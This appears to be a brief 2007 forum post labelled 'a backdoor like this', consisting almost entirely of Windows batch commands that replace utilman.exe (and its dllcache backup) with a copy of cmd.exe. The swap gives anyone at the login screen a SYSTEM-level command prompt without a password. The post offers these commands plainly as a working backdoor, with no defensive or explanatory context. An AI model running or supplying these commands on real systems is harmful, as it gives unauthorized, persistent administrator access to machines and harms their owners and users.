a backdoor like this

 

copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe
copy %SystemRoot%\system32\utilman.exe %SystemRoot%\system32\utilman.exe.bak
ren %SystemRoot%\system32\dllcache\utilman.exe utilman.exe.bak
del %SystemRoot%\system32\utilman.exe
ren %SystemRoot%\system32\acmd.exe utilman.exe

---

zjw0358

2007-09-27